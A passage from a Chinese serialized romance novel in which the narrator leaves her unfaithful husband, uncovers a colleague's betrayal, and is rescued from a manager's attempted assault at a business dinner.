我低头沉默着,完全不想谈论关于他的话题。
不管顾时序是怎么想的,从他背叛我们婚姻的那一刻,我们就注定不能好过下去了。
回到房间,我拿出了上个月骗顾时序签了字的离婚协议。
女方签字处,仍旧空着。
但我知道,现在,这封协议书该完整了。
我拿出签字笔,毫不犹豫的签下了自己的姓名。
就在这时,我胃里突然一阵翻江倒海。
我放下笔,连忙起身去了洗手间。
干呕了很久,却什么都吐不出来。
这熟悉的感觉让我想起当年我怀第一胎的时候,孕吐就很严重。
而我这个月生理期已经推迟两天了,难道……
不会的!
我平复着微乱的心跳,一再告诉自己绝对不会!
毕竟,我和顾时序每个月才一次夫妻生活,而且顾时序还会做避孕措施。
曾经我为了他跟他再要一个孩子,咨询过医生,老专家很明确的告诉我,这种情况下我能怀孕的概率几乎为零。
第44章 我搬走了,顾时序急了!【高潮必看!】
翌日清早,我刚到楼下餐厅,就听见叶夫人正在跟我哥说话。
“幸亏你是骗我们的!要是苏雅欣这种女人真给我当儿媳,我可受不了!”
叶父也道:“就是!我本以为之前关于她的绯闻也都是狗仔故意抹黑。没想到,都是真的!看来,娱乐圈的水确实很深啊!”
叶夫人十分严肃的看着我哥,道:“景辰,今天我就把话撂在这儿!以后,你就是不结婚,都不能给我娶个戏子回来!”
我哥脸上明显闪过一抹异样,在看到我的时候,赶紧打岔道:“昭昭来了,我们吃早餐吧,都饿了!”
我幽幽的看了他一眼。
我确信,我哥跟苏雅欣之间的关系绝对不简单。
只是我现在没有任何证据,但是狐狸就早晚会露出马脚的。
吃饭时,叶夫人忧心忡忡,一边给我夹菜,一边道:“昭昭,昨晚你给时序打电话了吗?有没有问问他,这其中是不是有什么误会啊?”
我终于不再隐瞒,对父母道:“顾时序很早就跟苏雅欣在一起了。他跟那个女人,还有个私生女。他们一个月前,都搬进了我家。”
我边说边用余光看着我哥的神色。
他看似平静,但那双紧攥着筷子的手,指甲都白了。
叶爸爸重重放下筷子,道:“这种事你怎么不早点跟我们说呢!你这丫头,自己承受了多少苦?”
我苦涩的笑了下,道:“不想你们为**心。而且,有一说一,这些年叶家生意能好好的,多亏了他。”
叶夫人心疼地流泪:“昭昭,是我们对不住你。”
……
吃完早餐,叶夫人带我去了别墅后院的一个小阁楼。
再来到这里,我竟有种恍如隔世的感觉。
叶夫人微笑着道:“还记得这些吗?你小时候的秘密基地。”
我苦涩的弯了弯唇角,点点头:“记得。”
当时我五岁,母亲刚出车祸昏迷不醒,我被叶家接回来。
面对这些陌生的家人,我很害怕,这个小小的阁楼、封闭的空间给了我足够的安全感。
叶夫人说那时候的我像只受惊的小猫儿,有时候他们进来,我还会吓的躲进衣柜里。
顾时序第一次见到我时,我就蜷在衣柜里,攥着以前妈妈给我买的旧布偶。
那时候,我哥哥站在衣柜前,一脸苦恼的对顾时序道:“看见了吧?我爸妈给我领回来一个妹妹,可她一点儿都不好玩。不然这个暑假你就住我家吧,咱俩玩,我最近又买了好多飞机模型。”
就这样,顾时序留了下来,在叶家呆了整整一个暑假。
次日起,他就每天都进这间小屋子。他知道我胆小,也不喜欢说话,所以没像我哥似的不停逗我说话,直到把我逗哭。
他只会默默的,今天放几颗包裹着精美糖纸的糖在我书包里,明天又放一块草莓蛋糕在我桌上,日复一日,每天他带来的东西都不重样。
直到有一天,我主动从衣柜里爬出来,轻轻扯了扯他的衣角,将我掌心里一块快要融化的巧克力递给他。
他吃的很开心,说这是他吃过最好吃的巧克力。
风穿过纱窗,满室风铃摇曳,每一个风铃上都是我的一个愿望。
每个愿望都是从小到大顾时序亲手帮我挂上去的,除了最后一个愿望,每一个愿望他都帮我实现了。
而最后一个风铃上的愿望是:我想和顾时序一辈子幸福下去。
我心口传来一阵尖锐的刺痛。
曾经那个发誓要保护我的少年早已死在了时光的长河里,留下来的这个面目全非的、扭曲的男人,又是谁呢?
这时,叶夫人轻轻握起我的手,温柔的劝说道:“昭昭,其实每段婚姻都是一地鸡毛,我跟你爸爸过了一辈子,这其中也有不少烂账。有时候,咱们女人要学会睁只眼闭只眼。”
我没说话,叶夫人继续道:“只要你好好守住顾太太的位置,把时序的心留住。那苏雅欣顶多就是个情人,孩子也只是私生子罢了!她们永远都无法登上大雅之堂的!”
老一辈的思想,是不会因为我一两句话而转变的。
我虽然铁了心要离开顾时序,但我嘴上对叶夫人道:“妈,您刚才说的话,我会好好考虑的。我想一个人呆在这儿,静一静。”
叶夫人以为我听进去了她的话,笑了笑,道:“好,妈妈不打扰你。”
她走后,我最后环顾了这间小屋子一眼,将它的样子永远留在了记忆深处。
然后,便将满屋悬挂的风铃一根根使劲拽下来。
每拽掉一根,都像是我发现顾时序背叛婚姻后,那种剥骨抽筋的感觉。
可是,腐烂的骨头不忍痛剜掉,又怎么能长出新的血肉呢?
再后来,我将这些风铃装在了一个精美的礼盒里,最上面,还有我签好字的离婚协议。
因为我知道,顾时序的生日快到了。
他既然已经跟苏雅欣官宣了,那这份离婚协议对他来说,或许是最好的生日礼物了。
毕竟,只有我主动离开,他才能尽快给他爱的人一个名分吧?
……
顾时序生日的前一天,叶夫人再次劝我:“昭昭,夫妻感情经不起这么一直冷战的。男人都要面子,可总要有个人先低头。不如这次,趁着时序的生日,你跟他化干戈为玉帛?”
虽然我不明白,为什么那个先低头的人,必须是没有犯错的我。
但我不怪她。
无论出于什么原因,叶家对我都已经仁至义尽了。
只是当我形单影只拖着行李箱从叶家离开时,心里还是有些落寞和难过。
我回到顾氏庄园时,刘妈格外惊喜!
仿佛预料到我那么爱顾时序,肯定会原谅他所做的一切似的。
“太太,您回来了!明天先生生日的食材,我们都准备好了!还有烘培的材料,也都准备齐全了!”
毕竟,以往顾时序的生日,所有的菜和生日蛋糕,都是我亲手准备的。
那时的我忙碌一整天,也只为了他晚上吹蜡烛许愿的那一刻。
所以今年,刘妈也是如此,像以往一样准备好所有东西,等我明天做。
我看着厨房里满满一桌子食材,淡淡的说:“你们帮他弄吧,我有点累。”
刘妈微微一顿,为难的说:“这蛋糕……我怕做出来先生不满意。在烘培方面,还是您比较专业。”
“那就给他去蛋糕店买一个。”
我敷衍的说完,便去了书房找顾时序。
当时的他,正在电脑前处理工作。
他对着电脑的时候,会戴眼镜,看起来,清冷中又多了几分儒雅。
我以前最喜欢他这幅专注而认真的样子,不由得多看了一会儿。
直到顾时序的目光从电脑屏幕上移开落在我脸上,我才猛地回过神儿来。
他眼中一片凉薄,问:“闹够了?”
呵,有时候一个男人的冷漠,真的能将你逼疯!
我什么时候才能让他知道,我没有‘闹’呢?
我只是想跟他结束而已啊!
“明天就是你生日了。”
我走过去,将那装着风铃和离婚协议的礼盒递给他,道:“生日快乐。”
顾时序错愕了一下,显然没想到,我只是过来送他礼物的。
毕竟,现在他跟苏雅欣的绯闻,闹得满城风雨、人尽皆知。
但我既没吵也没闹,一个字都没提。
他接过礼盒,‘大度’地给了我一个台阶下,对我道:“既然回来了,以后就不要再兴风作浪。我不会每次都这样容忍你,明白吗?”
内心的无力感将我层层包围。
可我连跟他吵架的力气都没有了,淡淡地说:“我再过几天就回去上班了,以后,我可能会在单位附近住。就不回来了,跟你说一下。”
顾时序听后,紧紧蹙起眉头。
随即,他轻笑了声,对我道:“又开始搞离家出走这一套了?”
以前,我们关系好的时
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候,我的确会因为跟他吵架而离家出走。
每次我离开家,顾时序6小时之内必定能找到我,然后把我哄回去。
当时的我,很喜欢这种被偏爱、有恃无恐的感觉。
可现在我很明白,我早就不是他偏爱的那个了。
所以,我没指望他留我,更没指望他再来找我。
临走时,我望着他眼中浓重深黑的眸色,道:“你记得把礼物拆开看看。我想,你会喜欢的。”
他冷淡的开口道:“叶昭昭,别指望我会哄你回来。”
“嗯。”
我冲他扬了扬唇角,很轻很淡地应了声。
我放过他。
也放过我自己了!
……
我在顾时序生日这天搬出了顾氏庄园。
通过中介,我找了一个距离公司很近的小区,拎包入住的那种。
走的时候,我没见到顾时序。
后来,我是从微博上看到他跟苏雅欣在帝都一个豪华的餐厅包场过生日。
当时很多娱乐媒体号都转载了照片,评论区里很多人都喊着“高甜狗粮”,“才子佳人”!
我笑了笑。
他应该是看见我那封离婚协议了吧?
所以他现在跟苏雅欣更加大张旗鼓,毫不避人了。
而我,因为脚伤好得差不多了,也回到了公司。
之所以这么着急回去,是因为现在各大新闻媒体都在讨论关于顾氏的心肺支持仪延迟上市的事。
这是目前的热点。
本来我不想掺和有关顾氏的任何事情,可这个设备事关我妈。
我在乎的是,设备究竟什么时候能上市?
现在究竟遇到了什么阻碍?
目前新闻媒体各种猜测,不知道孰真孰假?
在我大量搜索了关于这个心肺支持仪的背景之后,我对新闻的敏锐度让我把焦点聚焦在了设备研发者身上。
主设计师叫苏启明,学历背景简直令人匪夷所思。
他16岁被送出国读本科,是国外一所并不知名的大学,专业与生物工程研发毫不相关。
仅仅用了两年,18岁的他就拿到了**。
在国外镀完金,苏启明直接进入海城大学专为留学生设置的“2+2”硕博连读。仅仅四年,他就拿到了普通人至少十年才能读完的生物医学工程博士学位。
怪不得,这个“心肺支持仪”在审核这一关受到了质疑。
毕竟,像苏启明这么水的学历,连生物医学设备基础都没有系统学习过,就研究出了这样高精尖的设备。
很难不受怀疑。
而苏启明这些实验数据和研发过程,不知道是从哪里来的?
身为一个新闻记者,我因为找到了突破点而激动万分,立刻给总监孟云初打了电话。
本以为她这个工作狂会跟我一样高兴,没想到,她只是冷淡地说:“等你明天来上班的时候再说吧!”
我虽有疑惑,但也没多想。
直到我开始大量搜索苏启明的资料,想为接下来我的新闻找出点蛛丝马迹。
我才突然发现,这人居然是苏雅欣的亲哥哥。
而孟云初之前说过,她跟苏雅欣哥哥是恋人关系。
怪不得,孟云初刚才对我接下来的新闻方向,一点都不买账。
……
翌日,我刚到单位,孟云初就将一堆文件放在我桌上。
“把这些英文文献翻译了,我明天开会要用。”
我看着堆积如山的东西,蹙眉道:“这么多?今天一天翻完?”
“上班翻不完就下班继续做,还要我教你吗?”
孟云初态度很不好。
我立刻反应过来,道:“所以,你为了阻止我继续做关于顾氏心肺支持仪的新闻,故意用这些占用我时间?”
孟云初强硬地说:“我是总监,你只是试用期员工。我让你干什么,你就干什么!叶昭昭,别以为我不知道,你做这个新闻,不就是想报复苏雅欣?你以为扳倒她哥哥,你就能把她拖下水了?”
第45章 今晚让我伺候顾时序
我听着她语无伦次的狡辩,冷笑了声,道:“之前你嘲讽我恋爱脑。真不知道我们俩谁是?放着这么好的新闻和爆点你不做,就为了保你那个水货男友?这种学历……你孟云初这样的学霸,竟然能瞧得上。”
“叶昭昭!”
孟云初仿佛颜面无存,打断我:“反正这个新闻我们不做!你想做,你就辞职去别的公司。不过,像你这种本科学历,其他公司的新闻部大概率也进不去!”
说完,她瞪了我一眼,往自己办公室走去。
我忽然发现平日里一向喜欢穿高跟鞋的孟云初,今天竟然只穿了个平底鞋。
不过,看着眼前厚厚一摞文件,我没心思想这么多,只能硬着头皮开始翻译。
一直做到傍晚,周围的同事都下班了,我也只翻译了一半。
无奈之下,我继续待在工位上加班。
孟云初也没走,她对待工作,向来热情。
我还是第一次见她为了保一个男人,以权谋私。
就在这时,一个年轻男人从外面进来,目不斜视,直奔总监室。
本以为是我们公司哪个部门的职工。
没过多久,我好像听见了孟云初办公室传来争吵声和哭声。
紧接着,男人从她办公室里出来,脸色阴沉,快步离开。
我想到昨天搜索到的苏启明的照片,好像跟这个男人有几分相似。
我心里隐隐有种不好的预感,赶紧朝孟云初办公室走去。
没想到一打开门,孟云初一手扶着办公桌,一手捂着肚子格外痛苦。
“你……你怎么了?”
我吓了一跳,赶紧将她扶起来。
她声音虚弱到快要听不见,“别声张,你送我去医院。千万……千万别让人知道!”
我搀着她艰难地到达车库。
上了车,我快速往医院的方向开去。
路上,她捂着肚子挺痛苦的,我想问的话也没问出口。
到达医院后,医生简单的判断之后就把她送去了妇产科。
我这才知道,孟云初怀孕了!
怪不得,刚才在公司里,她不让我声张。
幸好医生说她只是因为情绪激动,所以动了胎气,但孩子目前在肚子里还算健康。
我望着病床上孟云初苍白的脸,心中百感交集。
虽然我们俩关系不咋地,但我是一个失去过孩子的妈妈,见她这般模样,我挺难受的。
我问:“刚才他跟你说了什么?为什么突然就动了胎气?”
“他让我把孩子打掉。”
短短几个字说完,孟云初眼泪就涌了出来。
我还是第一次看见她流泪。
以前她家庭条件不好,在食堂里顿顿吃免费的菜汤泡米饭时,都没有哭过。
她那个混账弟弟来学校里找她要钱,动手扇她耳光,让自尊心极强的她颜面扫地时,她也没哭过。
可现在,她哭得这样伤心。
我递给她一张纸巾,问:“那你准备怎么办?”
孟云初惨淡地扯了扯唇角,望着我道:“自从进入职场,我努力把自己包装成大城市的白领,没人知道我家是那个样子的。可是你知道,你亲眼见过的,不是吗?”
“嗯。”
我道:“可你现在已经在职场上打拼到了这个位置,你已经可以脱离那种家庭了。况且,这跟你和苏启明谈恋爱有什么关系?”
孟云初吸了吸鼻子,道:“如果我能嫁给苏启明,才算真正实现了阶层跨越。虽然我大学时候处处跟你比,可你知不知道,我有多羡慕你!叶昭昭,你这种娇生惯养的千金小姐,根本就不会理解我。”
我无奈地看着她,有点理解,但又不那么理解。
“我记得我跟你说过,苏雅欣是我和我丈夫之间的第三者。苏启明的学历你应该知道,全都是水出来的。一个家庭,培养出这样的兄妹俩,你真的敢嫁进去吗?”
我劝道:“你想实现阶层跨越我能理解,但必须是苏家吗?”
孟云初擦了擦眼泪,自嘲地说:“你以为阶层跨越是这么好实现的?我已经26了,我所有的青春都是跟苏启明在一起的。他是我目前能够到最优质的结婚对象了!如果跟他分手,我去哪里再找一个类似条件的?”
我微微叹了口气,提醒道:“可你肚子里的孩子,他都不想负责任。你还在期待什么?”
“我想再试试,万一,他改变主意了呢?”
孟云初语气里透着一抹恳求,对我道:“能不能帮我保密?我不想让公司知道。我们部门现在,好几双眼睛盯着我的位置。一旦我怀孕,很快我就会被人取代。”
我以前从没见过她这么脆弱的样子,话都说到了这份儿上,我没法拒绝。
“好,我答应你。”
我点点头,道:“不过……你那堆英文文献……”
想到上午她对我的刁难,她自己也不好意思了,难为情地跟我道歉。
我陪她输完液,又将她送回家,这才打道回府。
临走时,她可怜巴巴地看着我道:“昭昭,其实你挺好的。”
我无语。
爱情竟然会让一个女强人变成这样。
我终于理解了当年我放弃保研名额时,孟云初看我的眼神了。
……
翌日,孟云初依然像个没事人似的,出现在了单位。
工作上的她,依旧是干脆利落、雷厉风行。
下午时分,她将我叫到办公室,请求道:“昭昭,能不能帮我个忙?晚上我们公司副总要带我去个应酬,但我怀孕了……不能喝酒。你能替我去一下吗?”
其实我不喜欢应酬。
可她这么低声下气地求我,再加上她是个孕妇。
“行吧,你把地址发给我。”
我还是答应了。
失去过一个孩子之后,我总是对一些准妈妈或者宝妈,有天生的亲近感。
就这样,晚上下班,副总朱大成的车已经停在了楼下。
“朱总,我是新闻部的叶昭昭,孟总监让我来的。”
我自我介绍了一下。
朱大成是个四十多岁的男人,有种中年男人发福的油腻感。
他上下打量了我一眼,随即笑着道:“你们孟总监跟我说了。不错,她看人的眼光向来不错!”
司机将车往海城一家高档酒店开去。
到了地方,朱大成坐在了主位旁边的次位。
我呢,就坐在朱大成旁边,更次位的地方。
没过多久,其他宾客也陆续来了。
刚才在路上的时候,朱大成跟我说这次的酒局是为了让甲方把一个项目给我们公司做。
如果这个项目谈成了,我们新闻部这个季度的奖金能翻几倍。
可想而知,这次的项目,他有多志在必得。
我们大概等了半个多小时,坐在主位上的人才姗姗来迟。
当包厢的雕花大门打开时,我只觉得脑子嗡嗡的。
为什么会是顾时序?
“顾总!顾总,您可算是大驾光临了!”
朱大成赶忙迎了上去,那么大一个块头的男人低头哈腰,就差卑微到尘埃里了。
顾时序矜贵地‘嗯’了声,凉薄的目光越过朱大成,然后落在了我身上。
朱大成应该是长期混酒桌的,他一眼就发现了顾时序的眼神。
随即,他一边将顾时序请到主位,一边小声对我道:“去坐到顾总旁边。”
我自然不想贴
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着顾时序坐。
他刚才多看了我几眼,无非是前夫看前妻的眼神。
离婚协议我都已经签好给他了,他现在跟苏雅欣打得火热,又怎么可能对我还有什么兴趣呢?
朱大成这招棋,走的可真不高明。
我坐在自己位置上没动,无声的反抗。
可没想到,朱大成直接把我拉起来,跟我调换了个座位。
他谄媚的冲顾时序笑着道:“顾总,这是我们新入职的叶昭昭,今天专门负责伺候您,给您倒酒。”
朱大成的这番话让我觉得恶心。
我立刻站起身,想直接走人。
可顾时序却突然握住了我的手腕。
我蹙眉看着他,难不成,我俩结婚的时候他藏着掖着,现在都要离了,他是准备公开了?
可我还是高估顾时序对我的感情了。
他已经跟苏雅欣公开了,所有人都觉得他俩是一对儿,他又怎么可能在大庭广众之下承认我呢?
他扼住我的手腕,漆黑的眸子辨不清喜怒,幽幽地说:“叶小姐,我是什么**的老虎吗?为我倒个酒,很难?”
顾时序语气不悦,在场所有**气都不敢出。
朱大成吓得在我耳边低声道:“叶昭昭,你把顾总给我伺候好了!要是坏了我的事,你和孟云初全都给我卷铺盖滚蛋!”
我深深吸了口气。
我丢了工作不要紧,孟云初现在肚子里已经有宝宝了,她那样的原生家庭,爬到现在这个位置不容易。
就这样,我硬着头皮坐了下来,挤出一抹比哭还难看的笑,为顾时序到了酒。
顾时序骨节分明的手指轻握着酒杯,递到我面前。
他一句话都不需要说,自然有朱大成察言观色。
“叶昭昭,还不快敬顾总一杯?”朱大成小声斥责道:“真是一点眼力劲儿都没有!”
就在这时,不知道是谁起哄,道:“朱总,你这小秘书让顾总端了这么久的酒杯,等了这么久。一杯怎么够?我看,至少三杯起步!”
朱大成笑着道:“好嘞!只要顾总开心,多少杯都没问题!”
说完,他冲我递了个眼色。
我接过顾时序手中的酒杯,一横心仰头喝了下去。
白酒顺着口腔滑进嗓子,那种火辣辣的痛,仿佛顺着嗓管儿疼进了心里。
我呛得眼角溢出了泪。
周围的起哄声一阵一阵的,让我接着喝第二杯。
我很不明白,为什么一桌子男人,必须要捉弄我一个女人。
心中委屈得要命,我自己倒了第二杯,只想赶紧喝完三杯,让顾时序放过我。
可朱大成为了让顾时序满意,直接拿过我手里的酒杯,换成了个更大的。
这种大酒杯,一杯抵刚才的三杯。
顾时序似笑非笑地看着我。
我知道他想让我开口求他。
可我不想求他!
就在这时,包厢的门再次被打开。
原以为是上菜的服务生,可没想到,是苏雅欣。
“苏小姐?”
餐桌上的所有人都赶紧站了起来,毕竟,大家都知道苏雅欣跟顾时序的关系。
他们已经将苏雅欣当作顾氏的老板娘了。
苏雅欣似乎很享受这种感觉,笑容款款地说:“打扰到你们了吗?刚才我跟朋友在这儿聚会,听说时序也在这儿,就来看看。”
朱大成连忙道:“哪里哪里?苏小姐是大明星,我们平日里只能在电视上见到!今日苏小姐大驾光临,是我们的荣幸啊!”
顾时序淡淡地对苏雅欣道:“过来坐。”
苏雅欣微微一笑,走向顾时序。
这时,我只觉得胳膊被人狠狠拽了一下,差点跌倒。
第46章 顾时序,救我!
等我反应过来时,朱大成已经将我拉到了一边,将我的位置让给苏雅欣。
刚才明明是他让我坐这儿的,但现在,似乎怕苏雅欣误会。
他义正严辞地斥责道:“这儿是你坐的地方吗?顾总身边,只能是老板娘坐!”
说完,他甚至将椅子亲自擦了一下,道:“苏小姐,请。”
虽然我厌恶朱大成这样的人,可现在不需要跟顾时序坐在一起了,正合我意。
可刚才朱大成给我的大酒杯还在苏雅欣那个位置,里面已经倒上了酒。
苏雅欣嘴角勾着一抹笑意,对顾时序道:“时序哥,这个酒是你的吗?怎么喝这么多?”
她语气里带着嗔怪。
朱大成连忙道:“苏小姐,您别怪顾总,这酒不是顾总的。这个是我们公司叶昭昭的,刚才,她怠慢了顾总,我们罚她敬顾总三杯。”
其他宾客为了助兴,道:“就是!刚才才第一杯,这第二杯还没开始呢。”
苏雅欣佯装同情地看着我,又问顾时序:“时序哥,这样……不太好吧?”
顾时序坐在椅子上,漫不经心地转动着面前的酒杯,道:“那你说,怎么算好?”
他就这么将我的命运交在了苏雅欣手里。
苏雅欣一副手足无措的样子,道:“我……我也不知道。酒桌上的规矩,我不太懂。”
朱大成立刻道:“这还不简单。让叶昭昭给您演一遍,您就懂了!”
说完,他拉过我,将我推到苏雅欣面前,道:“这第二杯,敬顾总和老板娘,祝他们百年好合!”
我就这么盯着顾时序,这男人冷漠得令人感到可怕。
他没有任何反应。
倒是苏雅欣,甜甜地冲顾时序笑了笑,道:“要不,就算了吧,别为难叶小姐了。”
朱大成讨好地说:“这有什么为难的?叶昭昭能看到您这个大明星,能跟顾总在同一个酒桌上吃饭,这是她修来的福气!”
在顾时序疏冷的目光中,我闭上眼睛,将杯中的白酒一饮而尽。
这么多白酒入胃,本就有胃病的我,只觉得胃里突然像是被火烧了起来。
而朱大成不满意地说:“怎么连敬酒词都不说?重新来!祝顾总和苏小姐百年好合,早生贵子。这么简单的敬酒词,还有我教你吗?”
我将酒杯放在一旁,胃痛的感觉已经让我顾不得场合了。
如果我再喝下去,只怕又要胃出血了。
我用手捂住上腹部,隐忍地咬了咬牙。
见我这样,顾时序好像突然想起了什么,清清冷冷地说道:“算了,喝酒误事。先谈谈合同……”
朱大成一听,觉得合作的希望来了,他以为是今天的讨好有了效果,连忙拿出合同递给顾时序。
我也终于因为顾时序这句话,得到了短暂的解脱,坐在那个不起眼的位置上,头晕得很。
而顾时序只看了不到一分钟的合同,便直接扔给朱大成,道:“朱总,贵公司的合同都这么草率吗?连项目利润的百分比都能算错?”
“额……这……”
朱大成拿着合同看了半天,战战兢兢的道:“还请顾总指教,是……哪部分有问题?”
顾时序冷冷道:“朱总,如果这顿饭吃完,你还检查不出哪里有问题。你们公司的实力我也就算了解了。合作的事,就免了!”
朱大成慌了,赶紧将合同递给我,道:“你快点检查一下。”
“抱歉,朱总,我不是学会计的。”我面无表情地说:“而且,我刚才喝了酒,头晕。”
我并不是赌气,而是我现在确实头晕,胃也痛。
下一秒,我已经站起身往外走去。
到洗手间吐了半天,又用了漱口水,这才感觉胃里好受了些。
我用冷水冲了把脸,望着镜子里的自己,突然间,很心疼。
调整了几分钟的情绪,我这才从洗手间出来。
然而没走几步,顾时序就迎面走来。
我装作不认识他,想避开,可他却拦住了我的路。
男人颀长的身形将我堵在墙壁和他之间,蹙眉看着我,道:“胃病犯了?”
我轻扯唇角,吐出四个字:“拜你所赐。”
顾时序眸光微敛,“我只是想让你知道,离开顾家,你会活得很艰难。”
就在这时,他的助理孙杰过来了。
手里拿着一盒药,道:“顾总,胃药买来了,还有水。”
顾时序‘嗯’了声,将药递给我,又把矿泉水拧开,道:“先把药吃了。”
我不至于跟自己的身体过不去,所以,接过药先吃了下去。
很快,胃里就舒服多了。
顾时序伸手在我脸颊上轻轻抚弄着,“听刘妈说,这几天你一直没回家。”
我反问道:“你失忆了吗?我那天告诉你了,我要搬到公司附近住。”
“这种工作,你就这么喜欢?”
顾时序不屑中带着一抹轻蔑,“如果今天是让你给别的男人陪酒呢?放着好好的顾太太不当,成天想一出闹一出,是想干什么呢?”
我只觉得无奈又无力。
早已经懒得去质问他和苏雅欣的事,更不想争辩。
我直截了当地问:“那天,我给你的生日礼物,你看了吗?”
顾时序微微一顿,道:“看了。”
“你考虑得怎么样?”
我看着他的眼睛,希望他能配合我,一起把离婚手续办了。
可顾时序只是一脸茫然地问:“什么考虑得怎么样?”
“就是离……”
我话未说完,苏雅欣的声音传了过来,“时序哥!”
顾时序立刻放开我,朝苏雅欣走了过去。
苏雅欣笑眯眯地说:“原来你在这儿啊!你出去好久没回来,我一个人跟他们也不熟。”
“嗯,现在回去。”
他看都没再看我一眼,跟苏雅欣一起离开了。
他甚至连一句话的时间,都没有给我。
也不知道离婚的事情,他究竟怎么想的?
顾时序回去之后,我为了避嫌,特意隔了十分钟才回到包厢。
毕竟,我的包包还在那儿。
可没想到,我回去的时候,包厢里早已经没人了。
只剩下朱大成坐在那儿,脸喝得通红,跟斗败的公鸡一样。
见我进来,他三两步朝我走了过来,一把拉住我,道:“都是你!连个合同都看不好!老子筹备了这么久的酒局,好不容易约到了顾总,就这么被你给搞垮了!”
“要怪就怪你自己心术不正。”
我甩开他的钳制,道:“像你这种用女人去做成生意的人,没人会看得起你!”
毕竟,顾时序虽然渣,但他并不下三滥。
该有的底线,顾时序是有的。
朱大成得不到顾时序的投资,是我意料之中的事。
我拿起包包,转身就要离开。
就在我打开门时,朱大成突然追了过来,从身后拉住了我。
“**,老子今天就让你知道知道厉害!”
他疯了似的把我抵在门上,那张油腻的大脸凑近我。
“滚开!”
我吓坏了,拼命拉开门,想逃出去。
远远的,我看见走廊上,顾时序在电梯口。
“救命!顾时序,救我!”
我对着他的背影大喊。
他似乎听见了,刚回头看了眼,还没看到我,他在等的电梯门就突然开了。
苏雅欣从里面出来。
他立刻收回了视线。
苏雅欣顺势挽住他的手臂,毫不避人。
可现在不是我要骨气的时候,我只认识他,现在也只有他能立刻赶过来救我。
“顾时序!救我!”
我继续嘶声力竭地喊着。
他停住脚步。
可紧接着,苏雅欣就捂住了心口,顾时序貌似低头在跟她嘘寒问暖。
然后,他直接打横抱起苏雅欣往外走去,再也没有回头。
可被他抱在怀里的苏雅欣看到了我,娇艳的红唇对我勾起了胜利的微笑。
我就这么被朱大成拖进了包厢。
“**!还他妈叫顾总。”
朱大成一边扯我的衣服,一边哈哈大笑道:“人家顾总的未婚妻是苏雅欣,你算个什么东西?以为敬顾总两杯酒,就能入人家眼了?”
我拼命抗拒着,愤声道:“朱大成,我是顾时序的妻子!你敢动我,他会让你在这个圈子里混不下去!不信你看着!”
朱大成笑得更开了,“**喝傻了吧!你是顾总妻子?孟云初跟我说你是单身,压根没结婚!不然,我弄你,还怕你老公来找我呢!”
我脑子轰地一声炸了。
孟云初?
我不可置信地问:“孟云初让你这么对我?”
朱大成笑着道:“不然呢?那娘们儿说,只要我把弄你的视频拍下来,她就想办法让你跟我来这个酒局!”
这一刻,我浑身都在发抖。
我昨天把她送到医院,我心疼她家境不好,心疼她是个职场妈妈。
可她却利用我的善良,直接将刀**了我心脏
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!
而我顺着朱大成的目光看过去,才发现窗帘后面是一个**。
他就准备在这种地方,把我吃干抹净,还想把过程拍成视频。
就在我衣服领口被这个一百八十斤的胖子撕开时,我情急之下拿起了桌上的酒瓶,狠狠砸在了他的脑袋上。
瞬间,暗红色的血滴了下来。
朱大成也捂着额头从我身上起来,不可置信地看着我。
他一副要杀了我的样子,可又因为头上被开瓢,体力不支。
我顺势推开他,惊慌失措地往外跑去。
身后传来朱大成的声音:“**,你给我站住!”
我跑得双腿发软,突然撞进一个男人怀里,冷冽的雪松气息扑面而来。
我顺着黑色的羊绒大衣往上看去,映入眼帘的,是一个熟悉的面孔。
竟然是那日在工地上救了我的先生。
身后传来朱大成的叫骂声,我紧紧抓着男**衣的衣襟,如同抓住一根救命稻草,颤声道:“救我!”
就在这时,顾亦寒不知从哪里冒出来了?
远远的,我就听见他的调笑声:“宴州哥,我没看错吧?开荤了这是?沈奶奶要是知道,肯定很高兴!”
说完,他凑近我,道:“来来来,给我看看,嫂子长什么样儿?”
当他看到我的正脸,整个人都震惊了,“叶昭昭?怎……怎么是你?”
我来不及跟他解释,朱大成已经追到了跟前儿。
他大骂道:“你这个小**!还敢找帮手来!**赶紧给老子过来,否则,你和你的两个帮手,谁都跑不掉!”
我紧张的腿软,幸好这个男人扶住了我的胳膊,将我往怀里虚带了一下。
见我衣衫不整,他脱下了自己的外套让我披上。
雪松味夹杂着淡淡的烟草气息将我层层包绕着,还有那温暖的体温让我感到一种前所未有的安全感。
而顾亦寒瞬间就明白过来怎么回事儿,一拳就朝着朱大成的脸揍了过去!
“狗东西,你跟谁叫嚣呢!她,你也敢动?”
说完,他直接将朱大成踹翻在地,拳打脚踢。
顾亦寒从小在学校就是个抽烟打架样样都来的,对付朱大成这种纸老虎,简直是轻松拿捏。
朱大成凄惨的叫声响彻酒店走廊。
我们这边闹出的动静太大,很快,就招来了酒店的保镖和经理。
经理正准备让保镖出手,可当他看见扶着我的男人时,立刻停住了动作,格外恭敬。
男人面色冷凝,金丝眼镜下的眸子格外锐利。
他没有让顾亦寒住手,经理和保镖便没人敢轻举妄动。
直到朱大成被打昏死过去了,男人才淡淡开口道:“亦寒,差不多了。”
顾亦寒这才停手。
站起来的时候,又踹了朱大成一脚。
酒店经理战战兢兢地对男人道:“沈先生,抱歉,这种事出现在我们酒店,惊了您的人。要不,我让服务生带这位小姐去换身衣服呢?”
这位沈先生低头看着我,淡声询问:“你怎么说?”
“我……我想回家。”
这里,我一点都不想继续待下去了。
就这样,沈先生和顾亦寒他们将我带上了车。
加长版的林肯商务车里,沈先生一个人坐,而顾亦寒跟我坐在一起,问东问西。
“叶昭昭,那个男人是谁?为什么这么对你?”
“你也是,这么大半夜的,你敢跟一个色鬼出来去这种地方?”
“现在知道怕了?幸亏你今晚是遇到我了!不然,你就等着被吃干抹净吧你!”
“……”
我一句话没理他,只觉得头又晕,身体又疲惫。
这时,那位惜字如金的沈先生突然开口问顾亦寒:“女朋友?”
“嘿嘿,这都被你看出来了!”
顾亦寒冲他笑得龇牙咧嘴的,难为情的说:“一开始没看清楚,我还以为是你女朋友!我还想着,沈奶奶最大的心事终于有着落了。”
我没想到,顾亦寒和沈先生的关系这么熟。
不过,听着顾亦寒口口声声说我是他女朋友,我翻了他一眼,没好气的道:“谁是你女朋友?”
话音刚落,沈先生的目光落在了我身上。
他眸光深沉,带着与身俱来上位者的矜贵和沉稳,金丝边框眼镜在昏暗的车厢里折射出若隐若现的光泽。
大约是年纪的关系,他看起来,比顾时序和顾亦寒都要成熟些。
但反而,给人一种安定和踏实。
第47章 他把我吃干抹净
我发自内心的感激道:“沈先生,这次多谢您了。还有上次工地上,也谢谢您和您的助理。”
“客气了。”
他淡淡吐出三个字,对顾亦寒道:“去你家?”
“对!”
“不!”
